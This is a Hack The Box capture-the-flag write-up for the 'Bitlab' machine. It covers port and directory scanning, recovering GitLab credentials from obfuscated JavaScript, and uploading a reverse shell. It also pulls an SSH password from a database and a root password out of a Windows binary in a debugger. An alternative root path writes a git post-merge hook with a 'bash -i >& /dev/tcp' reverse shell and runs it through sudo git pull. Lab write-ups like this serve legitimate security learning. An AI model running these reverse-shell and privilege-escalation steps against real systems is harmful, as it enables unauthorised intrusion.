Hackthebox – Bitlab

As with any machine we start with a port scan to determine if any interesting ports are open to the public.

root@kalivm:~/Bitlab# nmap -sT -p 1-65535 -oN fullscan_tcp 
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-11 09:33 CEST
Nmap scan report for
Host is up (0.017s latency).
Not shown: 65533 filtered ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 291.24 seconds

We notice that only ports 22 and 80 are open, since port 22 is an SSH server which requires credentials, we move over to the web page and see that it is a Gitlab page which requires credentials too.

As we do not have any valid credentials yet, we have to enumerate some more, starting with the web server.

root@kalivm:~/Bitlab# gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt -u
Error: the server returns a status code that matches the provided options for non existing urls. => 302. To force processing of Wildcard responses, specify the '--wildcard' switch

At first, it gives an error that there are 302 status codes for wildcard directories. As this will cause many false positives, we can either leave the Status 302 out, or use the –wildcard option. I choose for the first option and restart the scan.

root@kalivm:~/Bitlab# gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt -u -s 200,204,301,307,401,403
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Status codes:   200,204,301,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2019/09/12 16:04:23 Starting gobuster
/search (Status: 200)
/help (Status: 301)
/public (Status: 200)
/profile (Status: 301)
[!] Keyboard interrupt detected, terminating.
2019/09/12 16:07:35 Finished

Since, after discovery of the /profile directory, many errors started popping up, I canceled the scan and decided to first go with these directories.

Pretty soon we discover a bookmarks file in the /help directory which contains an interesting obfuscated JavaScript string.

After trying to deobfuscate the string using this deobfuscator, we can quickly find the username (clave) and password (11des0081x).

After trying the username and password, we are now able to log into the gitlab portal and see two active projects, /Profile and /Deployer

After some inspection, it appears that code can be uploaded.

Once the file is uploaded, it can be merged and then pushed to the /profile directory by the automation rules in place, allowing for a reverse shell to be uploaded and executed granting access as www-data!

root@kalivm:~/Bitlab# nc -nlvp 4444
Listening on [] (family 2, port 4444)
Listening on 4444
Connection received on 51512
Linux bitlab 4.15.0-29-generic #31-Ubuntu SMP Tue Jul 17 15:39:52 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 13:48:01 up  1:22,  3 users,  load average: 4.32, 4.42, 4.48
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
clave    pts/0      12:25   38:13   0.24s  0.24s -bash
clave    pts/1      12:31   15:09   0.07s  0.07s -bash
clave    pts/3      12:32    1:11m  0.22s  0.22s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

This allowed for a lot of enumeration but after a while, I still was no further until I looked again at the gitlab pages and discovered the following snippet of code.

I slightly modified the snippet to actually show results and converted it to a working db.php file and uploaded it using the same procedure as before.

$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");

while ($row = pg_fetch_row($result)) {

After opening the newly added page, another clave account was displayed, together with a base64 encoded password?

root@kalivm:~/Bitlab# echo c3NoLXN0cjBuZy1wQHNz== | base64 -d
ssh-str0ng-p@ssbase64: invalid input

So it is not a valid base64 string, but does show ssh-str0ng-p@ss as password. After trying the decoded password as ssh password, I got an Permission Denied error, so I tried again with the base64 string as password and was able to obtain the user flag!

root@kalivm:~/Bitlab# ssh clave@
clave@'s password: 
Permission denied, please try again.
clave@'s password: 
Last login: Thu Sep 12 14:15:40 2019 from
clave@bitlab:~$ cat user.txt 

Privilege escalation

Upon login on clave’s home directory, I noticed a RemoteConnection.exe file which is strange on a linux machine, so I copied it to my local machine for further analysis.

root@kalivm:~/Bitlab# scp clave@ .
clave@'s password: 
RemoteConnection.exe                          100%   14KB 289.5KB/s   00:00
root@kalivm:~/Bitlab# file RemoteConnection.exe 
RemoteConnection.exe: PE32 executable (console) Intel 80386, for MS Windows

So it is an 32-bit Windows Binary file, this can be executed using Wine on linux so we try to run it.

root@kalivm:~/Bitlab# wine RemoteConnection.exe 
Access Denied !!

No luck, we get an Access Denied!! error and see nothing else. Time to further analyze the binary using a debugger, in this case, good old OllyDBG

root@kalivm:~/Bitlab# wine OLLYDBG.EXE RemoteConnection.exe

After it is opened in OllyDBG, we right click to analyze it.

The next step is to search for strings, as we already know that, at some point, it displays the Access Denied!! message.

We find the Access Denied!! message at memory location 0x401D39 and want to make sure that we can analyze why we get the access denied error.

Therefore, we set a breakpoint just before 0x401D39 using the F2 button and let the application run.

Once we run it, it stops just at the set breakpoint, and then we see something very interesting in the lower right (stack) window… The ssh root password!

0033FDCC 00411C78 ASCII "-ssh root@gitlab.htb -pw "Qf7]8YSV.wDNF*[7d?j&eD4^""

So now that we have the root password, we can try to switch user in the already established ssh connection and obtain the flag!

clave@bitlab:~$ su -
root@bitlab:~# cat /root/root.txt 

An alternative privilege escalation

One of the things I noticed as soon as I got the first shell, was that the www-data user was allowed to use git pull as root. This triggered me and therefore, I asked around after rooting the box if that was a feasible approach as well. It appeared to be an even simpler way using so called hooks.

root@kalivm:~/Bitlab# nc -nlvp 4444
Listening on [] (family 2, port 4444)
Listening on 4444
Connection received on 44742
Linux bitlab 4.15.0-29-generic #31-Ubuntu SMP Tue Jul 17 15:39:52 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 12:53:30 up 28 min,  3 users,  load average: 2.81, 3.20, 3.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
clave    pts/0      12:25    4:26   0.23s  0.23s -bash
clave    pts/1      12:31   20:10   0.05s  0.05s -bash
clave    pts/3      12:32   17:14   0.22s  0.22s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ sudo -l
Matching Defaults entries for www-data on bitlab:
    env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bitlab:
    (root) NOPASSWD: /usr/bin/git pull

So we can execute git pull as root user. Next step is to create a writable directory where we have a copy of one of the current projects. This can be done in /tmp

$ cd /tmp
$ mkdir sedje
$ cd sedje
$ cp -rf /var/www/html/profile .
$ cd profile

After this has all been copied, the next step is to create a hook called post-merge which will be executed once the code has been pulled in. We have to make sure to set it to be executable with chmod +x!

$ echo "#!/bin/bash" > .git/hooks/post-merge
$ echo "bash -i >& /dev/tcp/ 0>&1" >> .git/hooks/post-merge
$ chmod +x .git/hooks/post-merge
$ ls -alh .git/hooks
total 60K
drwxr-xr-x 2 www-data www-data 4.0K Sep 12 12:54 .
drwxr-xr-x 8 www-data www-data 4.0K Sep 12 12:54 ..
-rwxrwxrwx 1 www-data www-data   54 Sep 12 12:54 post-merge
-rwxr-xr-x 1 www-data www-data 3.6K Sep 12 12:54 update.sample
$ cat .git/hooks/post-merge
bash -i >& /dev/tcp/ 0>&1

I was warned that every time we re-execute the hook, it has to be set to executable again because the git pull command will overwrite the old privileges and therefor it will be non-writable again afterwards. Now in my www-data owned shell, run the git pull command with sudo privileges as root.

$ sudo git pull
From ssh://localhost:3022/root/profile
   ccf9eff..6c6f8a7  master     -> origin/master
 * [new branch]      patch-2603 -> origin/patch-2603
Updating ccf9eff..6c6f8a7
 sedje.php |   2 +-
 1 file changed, 2 insertions(+), 0 deletions(-)

And in another terminal, open up a listener on port 9999 and catch the executed hook with the root shell!

root@kalivm:~/Bitlab# nc -nlvp 9999
Listening on [] (family 2, port 9999)
Listening on 9999
Connection received on 36176
bash: cannot set terminal process group (1122): Inappropriate ioctl for device
bash: no job control in this shell
root@bitlab:/tmp/sedje/profile# cat /root/root.txt
cat /root/root.txt

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.